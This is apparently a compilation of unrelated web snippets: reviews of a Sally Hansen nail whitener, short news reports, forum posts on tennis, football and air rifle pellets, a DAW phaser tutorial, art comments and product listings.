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" Brand: Sally Hansen / Type: Nail Varnish / Suitable for: Nails "
* Prices may differ from that shown
Sally Hansen insta brite
Many years of painting my finger nails have left them a tad discoloured and so I decided that I needed some nail whitening product. Given that I have used Sally Hansen products before I decided to opt for this one
This is for people with stained dull or yellowing nails. Mine are certainly stained so this should be the right product for me.
This promises to give instantly whiter and more beautiful nails and also to protect and shine the nails
The product comes packaged inside a box which has all of the information on the back and which opens easily by just opening the packet lid
The bottle itself is a typical nail polish bottle and when I look at the bottle it appears that the product is going to be white but this is actually the colour of the bottle. The brush is the same type as most nail polishes with a thinnest brush and a quite long handle which makes it easy to apply and ensures that when I am painting my finger nails the product doesn't go onto my skin.
The polish is clear and whilst it does smell a little of nail polish its not as strong which is a good thing. It does go on as a clear polish and is a good consistency not too runny and not overly thick.
This is a bit confusing. On the back of the box the information tells me to apply to clean dry nails and to apply a second coat for maximum effect. I followed these instructions and then on the side of the box step 5 after colour and care tells me to protect and shine ( this product advertises itself as protect and shine), and this stage is clearly highlighted. Although I read this second instruction, I have continued to apply to clean nails without Ny colour because to my mind the effects of the whitening would not work over a colour.
The product is widely available in chemists and supermarkets and I think it costs around e £4 mark.
I have used this product regularly mainly because the first time I used it there was absolutely no difference in the colour of my nails. However, even thou I have used it frequently I have not noticed any lessening of the stains on my nails. It is easy to apply and on the plus side it is good for adding a bit of strength to my nails and if nothing else it's probably a decent enough base coat.
I will continue to look for a good whitening product and in the mean time use this as a base coat, but wouldn't recommend it as a whitener and wouldn't buy it again.
Thanks for reading
Daniel xx
I work in a chocolate shop and therefore I can't wear any nail varnish on my fingers so I thought I'd buy a product which was clear and would make them look a bit whiter as well. I've had Sally Hansen product in the past like the nail hardener and they've worked so I thought I'd try Insta-Brite. I bought it from my local Superdrug for £4.99 although you could probably buy it cheaper in a supermarket or a shop like Savers.
The first coat you use doesn't always look like it has worked, but the bottle does actually recommend that two applications are used to get the full effect. Another review says that the whiteness doesn't last a long time and I have found the same thing. The first day wearing the polish there is a definite noticeable change in the colour of my nails, but after that they go back to looking slightly dull.
It's definitely a good product, but only if you have the patience to keep re-applying it every couple of days. I would have wanted it to last at least a week without it losing it's effect but this doesn't happen. I've found that it also chips extremely quickly and parts of it just sort of peel off. I'm not sure whether that's just from washing hands and stuff, but other nail varnishes I've worn don't seem to do this.
I'm not saying it's a BAD product, I'm just saying that it's alright if you can be bothered with the upkeep. Plus, I don't know how healthy it is for your nails to keep removing what's left of it and reapplying it every couple of days.
Sally Hansen Insta-Brite Nail Whitener
I am the sort of person who loves to wear nail varnish all the time, but hate the effects of it on my nails. I know that if I wear varnish for more than 5 days in a row, my nails will be a dry, split, flaking mess when I remove the varnish, so I try to do about 4 days of varnish and then 2-3 days of no varnish. Just imagine my horror when, upon removing the bright orange nail varnish I had been wearing last week, my nails had turned bright yellow. No subtle staining here, but very bright, obvious yellow. Very eek. Yes, it was my own fault for being too lazy to use a base coat. Anyway, I needed serious help, which is where Sally Hansen stepped in.
Insta-Brite (awful name by the way... I hate deliberate misspellings) was recommended to me by a colleague, who was horrified by the state of my nails. I purchased mine from Boots, but the Sally Hansen range is available from Superdrug and other chemists, and supermarkets too. It cost me £5.99, which, let's face it, is a little steep. I had expected to spend about £4, but I guess I'm just a bit tight. It's probably cheaper in Superdrug or supermarkets, to be honest, but that's just guesswork.
Insta-Brite looks just like a clear nail polish, and comes in a 13.3ml bottle. Upon first application, I was pretty disappointed. It seemed like no more than a clear nail varnish, which merely made my nails look more shiny. However, once it had dried there was a noticeable difference to my yellowed nails, so I decided to persevere and apply another coat. Again, the effect is not really visible until the coat is at least dry. I found the results lasted all day - but the next morning they were back to their yellowed selves completely. Sigh.
If you look closely at the nails whilst wearing Insta Brite, you can see absolutely minuscule particles of blue ish glitter/shimmer, which provide the illusion of whiter nails. I do not know why this effect diminishes with time, when the shine/varnish aspect remains. Insta-Brite also works to smooth the surface of the nails, filling in any ridges, which makes them look more uniformly shiny. I think Insta-Brite would look very good on unstained nails, just to give them that little something extra than normal clear nail varnish.
Basically, prevention is better than cure, so always wear a base coat underneath strong colours, but if you've already stained your nails, this will improve their looks a little.


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The FutureCar Challenge is cosponsored by the Department of Energy and the United States Council for Automotive Research (USCAR), which is basically a think tank for blue-sky research run by Ford, Chrysler and General Motors. Thirteen colleges and universities have entered a team. Each team was given a shiny new midsize sedan, $10,000 to play with, and a set of goals: They were told to reengineer their cars so that they would meet California LEV (low-emission vehicle) standards, accelerate from 0 to 60 in 16 seconds or less, have four suitcases' worth of luggage space and -- this one's the kicker -- get 80 miles to the gallon. MORE >>
College Kids Build Cars of the Future
Let's face it, cars are rolling ecological nightmares. They burn fossil fuels like nobody's business, they churn out hazardous emissions... hey, here's an idea: Why don't we give some engineering students a new car and a bunch of money, tell 'em to do whatever it takes to lower its gas mileage, and see what crazy stuff they come up with? That's the basic idea behind the FutureCar Challenge, a year-long government- and industry-sponsored event that comes to a head today in Washington, D.C.

subset: commoncrawl


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Analysis Egyptian Cease-fire Proposal Could End Up Pressuring Israel, Not Hamas
The Palestinian delegation's trip to Cairo pushes Qatari and Turkish mediation to the side, but the resulting accords could be tough on Israel.
A Palestinian delegation of representatives of Fatah, Hamas and Islamic Jihad were due to arrive in Cairo Tuesday to discuss a...
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Artist description:
ref used for the pose.. i only used the Watercolor Brush :)
Java Draw Created Nov 05, 2011 460 x 640px Unless noted Copyright 2011 mist04.
We encourage you to submit a comment and let the artist know what you think of this drawing. Please log in or join to post a comment.
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very nice
You chose the right ref for the pose! I love it!
Que hermoso dibujo y colores! 5 h
very nicely done...a wonderful drawing Mist. 5♥s and fave..
Fabulous drawing with watercolor. 5/5
Very good, I like very ;)
Great drawing (: i love the hues +5 all the way
Awesome!!! I love the mood and the color!!! Geez... I can't draw with only one tool!!! You are incredible !!! 5♥s
This is absolutley amazing! I love the way you colored it! 5/5! :)
Wouldn't she be a Sea Goddess? O.o I can't believe that you had only used the watercolor tool for this- it looks awesome and beautiful! xD I espeially like how you drew the character's profile and the cool color scheme. :D 5/5 hearts and favorites.


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Computational Intelligence
Vol 33 (4 Issues in 2017)
Edited By: Ali Ghorbani and Evangelos Milios
Print ISSN: 0824-7935 Online ISSN: 1467-8640
Impact Factor: 0.964
This leading international journal promotes and stimulates research in the field of artificial intelligence (AI). Covering a wide range of issues - from the tools and languages of AI to its philosophical implications - Computational Intelligence provides a vigorous forum for the publication of both experimental and theoretical research, as well as surveys and impact studies. The journal is designed to meet the needs of a wide range of AI workers in academic and industrial research.
Please see the Aims and Scope to learn about the focal topics in Computational Intelligence.
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text: I'm looking to study abroad in London next fall. I am a sophomore in college and play division 3 tennis, and was looking for either a club or an academy to play at, as well as local courts. If any of you have experience in the London area, I would really appreciate it. Thanks!


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SLC16A5 encodes a member of the monocarboxylate transporter family and the major facilitator superfamily. Additionally we are shipping and many more products for this protein.
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We demonstrated that SLC16A5 and ZNF206 (show ZSCAN10 Antibodies) displayed altered methylation patterns in the neuroblastoma (show ARHGEF16 Antibodies) genome
This gene encodes a member of the monocarboxylate transporter family and the major facilitator superfamily. The encoded protein is localized to the cell membrane and acts as a proton-linked transporter of bumetanide. Transport by the encoded protein is inhibited by four loop diuretics, nateglinide, thiazides, probenecid, and glibenclamide. Alternative splicing results in multiple transcript variants.
monocarboxylate transporter 6
, solute carrier family 16 (monocarboxylic acid transporters), member 5
, solute carrier family 16, member 5 (monocarboxylic acid transporter 6)
, monocarboxylate transporter 5
, solute carrier family 16 member 5


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Your place for community & resources to find or create work you love
We are so glad you're here and ready to take the next step! We created 48days.net as a place for community. For people to encourage each other and help each other in finding or creating work that is meaningful.
But frankly, we've outgrown it, so we're moving to provide you new resources.
48Days.net will be closing as it is today on November 30, 2017. Until then current members can click the button below to access groups and resources.
If you're new to 48days.net, connect here for a close up look at our thriving 48 Days Eagles Community and to get weekly free resources and motivation as you find and create work you love.
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Posted on December 8, 2016 at 1:39pm 2 Comments 0 Likes
I've been after my wife to get rid of our land line for years. I'd point out how many of our freinds had, but that didn't seem to matter. Her defense was always something about phone reliability and 911 calls.
The logic never made any sense to me and eventually I'd drop it. However.... periodically I'd hear her complain about no one ever calls anymore, or all we get is tele marketers. I'd bring up my solution but again to no avail.
Recently she was looking up an…Continue
Posted on November 10, 2016 at 12:05pm 3 Comments 0 Likes
I saw an article the other day that said 90% of us are the same but we focus on the differences. I wondered, can that be true? With all the various church groups I thought , it could be! However with the recent political news, could that apply? I am not a person that follows or studies that much in the political world. I know what I know and while I seek wisdom I'm not fed from that arena. However I wonder, how many people are registered one way or the other and know why, or know the…Continue
Posted on May 18, 2015 at 8:00pm 8 Comments 0 Likes
I've always enjoyed learning. I recall in grade school enjoying spelling. We had a workbook that I took home and completed the entire years work in a week.
Unfortunately I hit a time when I didn't feel it was so important. I think it was late 8th grade early 9th. Girls caught my eye and sports.…Continue
Posted on April 16, 2015 at 9:27am 4 Comments 0 Likes
That's an odd title for what I'm about to say but let me explain. Last night I volunteered to be a judge at a local college where students work in small teams a make a presentation to a panel of 3 judges, 1 student, 1 faculty, 1 business.
There were nearly 100 teams and the 10 panels all picked the best of what they saw. Then the ten winners went up against each other in the second round and determined a winner. I'd say it's similar to Shark Tank without any money. You are just…Continue
Hi Chris,
Thanks for reaching out to me. I appreciate it. I look forward to engaging more with this community and you. Take care.
Hey, Chris I saw your post about success magazine being discounted this time of the year. Can you share where you saw that? I was at the site recently and didn't see it. Thank you, Stephen Rager
Hahaha yes it certainly does!
Thanks for asking Chris - but I honestly thought we were already friends!!!
Hi Chris,
Just left you a comment at 6-Month Jump too.
Thanks for joining the Speak It Forward group. Jump in with both feet. I'm sure you're going to love it.
Live It Forward,
Kent Julian
PS You might want to check out Speak It Forward Updates. Lots of added value and insights into building your speaking business.
Hi Chris,
You saw correctly. I started a group here on 48days several years ago called "Strengthen My Spiritual Life", but recently retired it to focus more intentionally on my website ministry: ReflectiveBibleStudy.com.
Thanks for asking and sending me the message.
Welcome to this great community! We are glad you have joined us!
You find this a great place to learn and grow. You will find many great networking opportunities and places to share your thoughts and ideas. I hope you find the experience of joining the 48 Days community as rewarding as I have found it.
Here is to your growing success in all you do!
Keep Pressing Forward!
Mark J. Cundiff
Hi Chris -- Welcome to the 48 Days community. We're glad you joined.
This is the idea and social networking site for people that want to create their own opportunity.
Depending on your interests, there is a wide selection of discussion groups to get involved with.
If you are interested in closing the gap between your passion and purpose, here is the link to ours, Powerful Living for Health and Wealth.
To make the most of your experience, visit our handy getting started tutorial page. You'll find how-to videos and suggestions.
48 Days advisory team
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The CD proves that percussionist and composer Hedman is as comfortable performing breezy island-inspired tunes and Latin grooves as he is with jazz and rhythm and blues. For other artists, this diversity would be schizophrenic, but it works for Hedman, whose precise playing and creative rhythms thread through each song, tying the pieces together. It also helps that Hedman is joined by his longtime band, Tropique. The familiarity allows the musicians to interject strong solos into the music and then fall right back into working as an ensemble.
Hedman, who has worked with Alicia Keys and Roy Hargrove, has writing credits on 10 of the 12 songs. Four of the tunes feature vocals by four different singers - Ada Dyer, James D-Train Williams, Dani Stevenson, and Kendra Shank. Williams does an especially good job on the R&B tune "Angel Of The Night." His silky vocals dominate the song, but Hedman's congas and percussions are right there throughout the number, giving it wings. Alexei Tsiganov's vibes add a splash of freshness to the song.
The CD features a variety of material, ranging from the funky opener "Rundadar Dance" to the island-inspired closer "Island Spice." There's a lot to like about Tropique and Garden of Forbidden Fruit.


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SA president meets Hillary Clinton
South Africa's President Jacob Zuma met the visiting US Secretary of State Hillary Clinton Saturday in the port city of Durban.world Updated: Aug 08, 2009 21:23 IST
South Africa's President Jacob Zuma met the visiting US Secretary of State Hillary Clinton on Saturday in the port city of Durban.
"In both countries there are two new administrations which are taking the relationship a level higher. That is what we are trying to do," Zuma said after the 45-minute long meeting.
"He (Zuma) gave his views on regional issues from Zimbabwe, Somalia and Sudan. His advice on these issues was extremely helpful," Clinton said a media briefing.
She also noted that her visit to South Africa was reaffirmation of the relations between the two countries. "President Barack Obama and President Zuma met during the G8 Summit and discussed a number of issues. My visit to South Africa was to ensure that their expectations are met," she said.
Clinton is on an 11-day trip to the continent. She has already visited Kenya and after South Africa will travel to Angola, the Democratic Republic of Congo, Nigeria, Liberia and Cape Verde


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Opoid Use and Labor Force Participation
The Future of Free Public Access to Government Information
The Promise of Evidence-Based Policymaking
News: Certificate of Confidentiality
Stanford Open Policing Project
International Journal of Intercultural Relations: "IJIR is dedicated to advancing knowledge and understanding of theory, research and practice in the field of intercultural relations, including, but not limited to, topics such as acculturation; intercultural communication; intergroup perceptions, contact, and interactions; intercultural training; and cultural diversity in education, organizations and society. The journal publishes reviews and empirical research (both full length papers and brief reports) with high priority given to manuscripts that join theory and research with applications. IJIR provides an interdisciplinary forum for scholars in fields of psychology, communication, education, management, sociology and related disciplines." (From publisher's website)
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Item #256-2607 (0 customer reviews)
Festive as well as practical, these darling personalized coasters display your own personal style and add a bit of color to your wedding reception décor. More details…
|We apologize but this product is no longer available. We are sorry for the inconvenience.
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Size 3-1/2" square. Sold in sets of 24 of a single color.
Shipping Time: Allow three weeks direct from manufacturer.
Colors Available:Red, Purple, Blue, Brown and Green
Personalization: The Ashley design is personalized with the first names of the bride and groom along with the wedding date, as shown.
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There are a few items on the Web site that will be shipped to you directly from the manufacturer and will arrive separately from the rest of your order. These items typically include edibles, personalized ribbon, and some personalized embroidery.
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We can now ship internationally via our international shipping agent. We have partnered with Bongo International to fulfill our international orders.
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Edit Article
wikiHow to Make a Braided Bracelet Using Korea Cotton Wax Cord
To many fans of handicraft, making a braided bracelet allows them to own something with a cultural and artsy touch. They are often trendy and changeable, and to the key point, each tutorial on how to make a braided bracelet only take a few minutes from gathering together needed materials to finish! The braided bracelets with beads is a less costly and easy project, so everyone can try this without frustration. Make about 10 minutes and you will own a brand new ornament for your summer.
1Cut out a 100 centimeter (39.4 in) long Korea Cotton Wax Cord and fold it into four bounds, three equal-length strands and one short section to wrap them together.
2First, braid together three strands of Korea Cotton Wax Cord.
3String an Opaque 8/0 Glass Seed Bead onto the left strand and then cross the strand over.
4Repeat the same processes with the right strand.
5Repeat the above braid actions
6At last, stop adding the Opaque 8/0 Glass Seed Bead and repeat the threading way with three cord strands.
7When get the ideal length of braided bracelets with beads, tie a knot
8Next, lead the three strands through one Natural Howlite Bead and end with another knot.
9Cut off the excess Korea Cotton Wax Cord part. Then you will own a gorgeous new bracelet for your wardrobe.
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Things You'll Need
- Opaque 8/0 Glass Seed Bead
- Natural Howlite Bead
- Korea Cotton Wax Cord
- Side Cutting Pliers
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A water main break Wednesday left four West Campus buildings without water services for more than five hours.
A "slow water leak" was discovered in the south Lincoln parking lot at approximately 10 a.m. Wednesday, said Student Life spokesman Dave Isaacs.
Maintenance crews identified the source of the leak as a break in a water main. They initially hoped to be able to fix the main without interrupting water service but determined at approximately 4:30 p.m. that it would be necessary to shut off the water to Lincoln Tower, Morrill Tower and the Drake Performance and Event Center, Isaacs said.
Administration and Planning spokeswoman Lindsay Komlanc said Wednesday in an email water service to the Women's Field House was also stopped.
At 11 p.m., crews on the scene confirmed that the water services had been restored to all four buildings.
As of 7 p.m., the cause of the water main break was undetermined, Isaacs said in an email.
About 450 residents live in Lincoln, while more than 1,100 live in Morrill, Isaacs said. People can live on 20 floors of Morrill and nine floors in Lincoln, according to the University Housing website.
Ohio State brought heated portable toilets and sinks to the scene and supplied hall desks with bottled water to Lincoln and Morrill residents. Isaacs advised students needing to shower go to the RPAC, roughly half a mile away, up until midnight.
Temperatures fell as low as minus 2 degrees Wednesday, with a maximum temperature of 10 degrees. The forecast predicted temperatures of about 7 degrees Wednesday night, according to Weather Underground.
Some students saw the issues as a major inconvenience before the water was restored.
"I've had to stop drinking water so that I wouldn't have to go to the bathroom," said Samantha Saraceni, a first-year in exploration, before 9 p.m. "I'm going to wait until the morning so I don't have to shower at the gym … because I don't want to take all my stuff there and walk all the way back in the freezing cold."
Madison Kessler, a first-year in dance, lives in Lincoln Tower and expressed dismay after hearing the news Wednesday afternoon.
"I'm in so much shock right now. If I can't shower or drink water, it's a huge inconvenience," she said.
Candace Danby, a first-year in communication who lives in Morrill Tower, shared similar sentiments.
"If you have to go to the bathroom, it's really inconvenient because you have to go outside in the -4 degree windchill. And a lot of my roommates shower at night, so now they have to go to the RPAC," she said.
Others, though, weren't so upset about the halted water flow.
"I like it (the lack of running water) because this distilled water that they gave us is better than what's flowing from the water fountain with all the carbon in it," said Jason Wan, a first-year in finance.
Recently, the Columbus water has smelled and tasted differently than usual. The odor is a result of algal blooms in Columbus' Hoover Reservoir. In order to treat the water's taste and odor, the city has been treating the water with five times the usual amount of carbon normally used, according to the Department of Public Utilities website.
Water-related issues also affected Nosker House Wednesday morning. A maintenance worker on the scene, who declined to be named, said he believed slow water flow caused a pipe to freeze and subsequently burst.
Isaacs was unable to provide further information about the Nosker House incident Wednesday evening and said it still had not been determined whether the water main break south of Lincoln Tower was also the result of cold weather.
Two weeks ago, Ohio State called off classes Jan. 6 and 7 because of extreme weather conditions as temperatures fell to minus 7, according to Weather Underground.
There were several water-related issues around campus after the temperatures fell that week, including a water main break near Macquigg Laboratory, leading to some roads covered with ice being closed, and a burst pipe in Pomerene Hall.
Madison Curtis contributed to this article.


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Win or lose in the postseason, the Washington Nationals are going to collect some unprecedented hardware after this special 2012 season.
In fact, you could make the case that it could be one-stop shopping for baseball's individual honors in the National League.
The surest thing should be the NL Manager of the Year Award. Davey Johnson should make room for it on his mantle. He not only took a team that had not had a winning season since it arrived in Washington and turned it into arguably the best team in the league, he declared it would happen in the spring when he told reporters he expected to win the NL East.
He has been a brilliant manager over the course of his major league career and finally may be in a place where he can get his just due. The only time Johnson was named manager of the year was with the Orioles in 1997, when he led that team to a wire-to-wire American League East title and the ALCS, only to quit the day after the announcement because he didn't get a contract extension from owner Peter Angelos.
On the mound, the Nationals' bid for a Cy Young winner is a little more competitive. The Mets' R.A. Dickey, with a 19-6 record and a 2.66 ERA, is the sentimental favorite and gets an attention bump for pitching in New York. But Gio Gonzalez has a 20-8 mark with a 2.84 ERA -- every bit Cy Young worthy -- and Gonzalez's numbers in a pennant race should put him on top.
Stick with me on this one: You can make the case Nationals first baseman Adam LaRoche is an MVP candidate.
Granted, you can make a better individual case for the Pirates' Andrew McCutchen or the Giants' Buster Posey or the Brewers' Ryan Braun -- if you ignore the questions of the reigning MVP's use of performance-enhancing substances. But LaRoche is right there among the league leaders with 32 home runs, 98 RBIs and 276 total bases.
More importantly, the Nationals would not be where they are without LaRoche, who carried them offensively in the first two months of the season when the rest of the lineup was struggling and the Nats were winning games 3-2 on a daily basis. And he is one of the most important presences in one of the best clubhouses in baseball.
He may not be the NL MVP. But he should be in the discussion.
The discussion may begin and end for the NL Rookie of the Year Award with Bryce Harper. There are other worthy candidates, such as the Reds' Todd Frazier and the Diamondbacks' Wade Miley. But voters will want to hand it to Harper, and he has the numbers -- 19 home runs, 129 hits, 89 runs scored and 100 percent electricity -- to allow them to do so.
To the victors go the spoils.
Examiner columnist Thom Loverro is the co-host of "The Sports Fix" from noon to 2 p.m. Monday through Friday on ESPN980 and espn980.com. Contact him at firstname.lastname@example.com.


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This 300-card set was distributed in complete factory set form and through 12-card wax packs. It is commonly known as the green set for the bright green border. A blue bordered parallel set was released later in the year through Club Maxx. The blue bordered set is known as the Maxx Premier Series and is priced under that title.
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EVERY time Joe O'Donnell felt pain he thought of his attacker, Sam Wesley. He wanted to kill him.
In 2011, Wesley chased Mr O'Donnell with a machete through the streets of the Central American paradise where he lived. Later he shot him in the back, leaving Mr O'Donnell virtually crippled.
But after years of pain, Mr O'Donnell now feels he has reason to live again. This week Wesley was sentenced to a minimum 13 years behind bars.
"It's all a little overwhelming," Mr O'Donnell told news.com.au from Roatan, the Caribbean island off Honduras where he used to live. "All the support I have been getting is just incredible."
The 43-year-old from Sydney returned to the island to testify against Wesley, despite fears he would be in grave danger from the attacker's extended family.
Crowds of Mr O'Donnell's supporters and detractors lined up outside the courthouse holding signs with slogans such as "Justice 4 Joe!" and "the Wesleys are West End".
The August 2011 attack was over an incident apparently triggered by Mr O'Donnell parking his bike in the wrong spot.
Mr O'Donnell had been working bars in Roatan and was planned to start a scuba diving business.
Instead he was left virtually crippled after Wesley confronted him in the middle of town in broad daylight and shot him at close range.
The attack left Mr O'Donnell hospitalised for eight months and he suffered leg, bowel, back, bladder and sexual issues.
Now more than two years later, Mr O'Donnell has had his day in court. A friend, Karl Stanley, said the defence argued Wesley attacked out of self-defence and believed the shirtless Sydney man had a gun.
Mr O'Donnell presented his wounds to the courtroom and his medical records.
His team also presented the testimony of witness Paul Cleveland, who plugged Mr O'Donnell's bullet hole with his hands after the attack.
In an emotional blog post after the verdict was delivered Mr O'Donnell confessed his rehabilitation was challenging and thanked his loved ones for bringing him back.
"She kept hanging around me when all I wanted to do was die and I could never work out why," he said of girlfriend Susan.
"Over the past two and a half years I've slowly found reasons to want to live. I no longer want to die. I want to live life to the fullest," he continued.
"Even though life is a lot harder than it ever has been before I am sure I can get through it with all of you by my side."
Mr O'Donnell was once afraid he would lash out at the Wesley family when he returned, but said the trial had provided closure.
"This is why I no longer want to kill," he said. "This is why I had the courage to return. I am so deeply ashamed of myself for wanting to kill someone. It makes me cry every time I think about it.
"Sam Wesley turned me into a monster and I will always hate him for that."


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By Craig Anderton
Phase shifters work by creating frequency response peaks and notches with all-pass filter cicuits, then sweeping those notches across the frequency spectrum. The sweeping action creates that characteristic "whoosing" sound associated with phasers.
However, you don't always need a phase shifter, as it's possible to emulate these effects through parametric equalization, grouping, and automation. In this example, we'll show how to apply this technique using Cakewalk Sonar, and record the "phase shifter" sweeps as automation.
Enable the ProChannel EQ's two middle bands, then turn Q to around 8.0 and Level to minimum to create notches. If you're using an older, pre-ProChannel version of Sonar, the Sonitus:fx Equalizer can create the same effects; similarly, if you're using a different DAW, most will include parametric equalization that's suitable for this application.
Also note that you're not limited to two notches. Three or four notches give a more intense phasing effect, but also, experiment with different Q settings. Also, some phase shifters used positive feedback to create a sharper, more "whistling" sound. To emulate this sound, use three or four narrow peaks instead of notches. You can even combine peaks and notches (e.g., peak, notch, peak, notch, each set an octave higher than the previous) to create novel, but "phase shifter-like," effects.
Set the Freq controls so they're about two octaves apart, like 500Hz and 2kHz.
Right-click on each Freq control and assign it to a group (e.g., group X). When grouped, moving one control causes other grouped controls to track each other.
Right-click on each Freq control and select Automation Write Enable.
Start playback. Move the Frequency controls for the desired phaser "motion," and Sonar will write automation data to the track. Note that Sonar, as well as Cubase, let you draw periodic modulation envelopes (triangle, sine, sawtooth, etc.) which make periodic sweeping effects very easy to implement.
Craig Anderton is Editor Emeritus of Harmony Central. He has played on, mixed, or produced over 20 major label releases (as well as mastered over a hundred tracks for various musicians), and written over a thousand articles for magazines like Guitar Player, Keyboard, Sound on Sound (UK), and Sound + Recording (Germany). He has also lectured on technology and the arts in 38 states, 10 countries, and three languages.
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In an extensive Kerrang! article outlining FAITH NO MORE's history and the current activities of the group's former members, bassist Billy Gould and drummer Mike Bordin discussed the possibility of a band reunion at some point in the future. Here are their comments as they appear in the magazine:Mike Bordin: "I was in FAITH NO MORE for 15 years. We were a good, honest band, and I was only ashamed to be in that band on a couple of occasions. Now if you're talking about [Mike Patton], he'd probably say that there were only a couple of occasions in his 10 years in the band that he wasn't ashamed to be there. Patton probably didn't see any difference between us and HANSON, for instance. "Patton will probably work with every single person in the world rather than come back to us. In his head, he's got it all worked out, and he feels superior about it. But you know what the bottom f.cking line is? I don't care. I've played with OZZY and KORN and JERRY CANTRELL, I play drums, and I'm not 'Mike Bordin of FAITH NO MORE.' But every time I see Patton mentioned in the local papers wherever, he's still 'Mike Patton, ex-FAITH NO MORE,' and that's the huge irony. Patton won't go back and [be part of a reunion], but he's still making a living off it. And you know what, that'll probably torture him to the end of his days. Billy Gould: "If [Patton] said an emphatic 'No' to a reunion, that's fine with me. Patton was in the band for half the lifespan of FAITH NO MORE, so his relationship with that band is different from ours. The hard work was done when he joined. "If I look back on the whole experience, I have a really unpleasant feeling. From day one, it wasn't that fun in a lot of ways. If it wasn't for the fact that people still appreciate what we did, I'd say all those years in FAITH NO MORE weren't worth it."
MIKE BORDIN: MIKE PATTON Will Always Be Known As Ex-FAITH NO MORE Singer
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Christian Dior Chris 1947 - Opinios Reviews
User Opinions and Reviews
- Date Added: 15/06/2015Christian Dior Chris 1947 is a fabulous fragrance! Its such a disappointment they have stopped making it. Wonderful, consonant smell, cant recollect the notes. Simply crisp, practically fruity. Stunning!by Jessica
- Date Added: 04/12/2012beautiful perfume, for those young at heart, floral green indeed. i am proud to own the bottle, but sadly i have finished the content:( and can't be found anymoreby Veril
- Date Added: 04/12/2012This is a fantastic perfume! It is a shame it is discontinued. Beautiful, harmonic smell, cant remember the notes. Just fresh, almost fruity. Lovely!by Jolia
- Date Added: 04/12/2012Smelled this from a friend who just snuck out some sprays from her mom's. Totally liked it! It was fresh and clean as if you just naturally smelled really nice, without effort. Been meaning to buy since then but can't find one. So sad.by Chrissy
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SCRANTON, Pa., Aug. 24 (UPI) -- Scranton, Pa., police raided a home in advance of President Barack Obama's visit after the Secret Service said the suspect had threatened violence.
The Lackawanna County SWAT Team and Clarks Summit, Pa., police raided a duplex Thursday and removed a substantial amount of weapons and ammunition, The (Scranton, Pa.) Times-Tribune said. Obama traveled to Scranton by bus after spending Thursday and early Friday touring upstate New York.
The Secret Service declined to release the suspect's name or the nature of the threats but said the man did not live in Pennsylvania.


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NOLANVILLE — Lewis Haney, 93, was born and raised on a farm in Lewiston, Utah.
By the time he was in fifth grade, Haney dropped out of school to help feed and provide financial support for his family.
Instead of obtaining a government-issued birth certificate, his parents recorded Haney and his 15 siblings' at-home births in a family Bible.
Not having a birth certificate became problematic for Haney on Tuesday following a decision by the U.S. Supreme Court, which struck down a key part of the Voting Rights Act of 1965 and cleared the way for photo ID requirements for voters in Texas to take effect. The requirement was originally passed by the Texas Legislature in 2011.
Although he's been voting for 72 years without a problem, Haney's soon-to-be daughter-in-law, Irene Andrews, said the family had to go through many hoops to obtain photo identification — a process Andrews said is difficult for many older citizens who may not have the resources to obtain the necessary documentation.
"There's a lot of people who are at an age where it will be hard for them to figure out what to do (to get a photo ID), even if they want to vote and have an opinion," said Haney's daughter, Joan Hinshaw.
Although he has dementia and can't remember all of the local, state and national elections he's voted in throughout his adult life, Haney said voting is an important right for every American.
"I never miss (an election)," he said.
Andrews said the law discriminates against many poor, elderly and disabled citizens. She hopes government officials will reconsider the law.
"It's like they're faceless to these politicians so it doesn't matter. But it does matter," Andrews said. "I want (politicians) to come here and tell him to his face that he is no longer eligible to vote or personally tell him the hoops he has to jump through in order to vote."


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Longfellow Memoranda
Paperback, 148 Pages
Price: $13.45
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This book is an accident of the imagination. The poems were originally written within the pages of a tiny book I had ordered online to serve as my diary for 2007. What I needed was a blank or near-blank journal whose structure fit 2007, and this offering was from 1917, a year that met my requirements. Once I had the book in hand, however, I realized that the four short lines allowed for each date would not serve me well as a diary. The book was primarily a place to note the birthdays of important people in one's life, with an extract, facing each day's entry, from Henry Wadsworth Longfellow. Nevertheless, I spent 2007, the 200th anniversary of the birth of Longfellow, creating a poem for each day of the year, a poem based on or inspired by the bits of Longfellow's verse that faced me each day. My goal was to use his archaic poetic diction, and the British spelling of the book, to create modern poems with a scent of the past. —Geof Huth
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Product Details
- Copyright
- Geof Huth (Standard Copyright License)
- Publisher
- Otoliths
- Published
- August 16, 2008
- Language
- English
- Pages
- 148
- Binding
- Perfect-bound Paperback
- Interior Ink
- Black & white
- Weight
- 0.37 lbs.
- Dimensions (inches)
- 4.25 wide x 6.88 tall
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text: I know Sanchez sucks, but we always hear about how he's never been surrounded by any talent. How has his supporting cast been any worse than what Tannehill has now? Jets WR - Holmes, Kerley, Edwards, and their 2nd round pick Hill RB - Greene, McKnight, Powell TE - Keller Dolphins WR - Hartline, Bess, bunch of scrubs RB - Bush, Thomas, Miller (who's barely played) TE - Fasano I know Holmes and Keller have been out for much of this year, but Sanchez sucked last year too when he had them for the full season. And he's always had a pretty solid O-line w/ Ferguson, Mangold, and Moore. I'd say that Tannehill's supporting cast is just as bad if not worse, yet he's playing way better than Sanchez. Maybe Tannehill should get more credit for his play with such a weak offensive squad.


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March 4 -- President Obama on Monday nominated Gina McCarthy to head the Environmental Protection Agency (EPA) and Ernest Moniz as the next Energy secretary. At an event Monday at the White House, Obama heralded the picks as a "great team" that would address his "top priorities going forward." "These two over here, they're going to be making sure that we're investing in American energy, that we're doing everything that we can to combat the threat of climate change, that we're going to be creating jobs and economic opportunity in the first place," said the president. >>View Article
Monday, 04 March 2013 17:12
Obama To Tap McCarthy To Lead EPA, Moniz For Energy Secretary FeaturedWritten by
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Written on: 22/01/2013
So sorry to loose the Stevenage store. To be fair they didn't get all of the best range on offer at other stores.
Now our town is bereft of good quality fashionable clothes for the fuller figure. Don't know what I am going to do,for off the peg outfits that suit, just when I want them. Hate shopping, without seeing the items in the flesh so to speak.Can't always travel out of town to search out the nearest EVANS shop.


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Written on: 04/08/2010
Ive got a new .177 rifle & the RWSW fields were sitting a bit proud of the breech so I was told to use accupells , the local gunsmith had no accupells in .177 but said the webley lazadomes were very similiar and a great pellet - so I picked up 500 .
Well you may say this is BS I cant get around it myself yet - ive got a home made pellet trap - its basically an old industrial microwave oven steel case with a homemade ballistic curtain to stop the pellets made up of 2 layers of carpet and 6 layers of underlay all stapled together - bisley paper target on top ,
Go on then , call me a liar - at just under 20 yrds it went right through the curtain and left distinct dents in the steel box casing - amazing power, consistency - and Loud!!!
now its my pellet of choice for target and field .


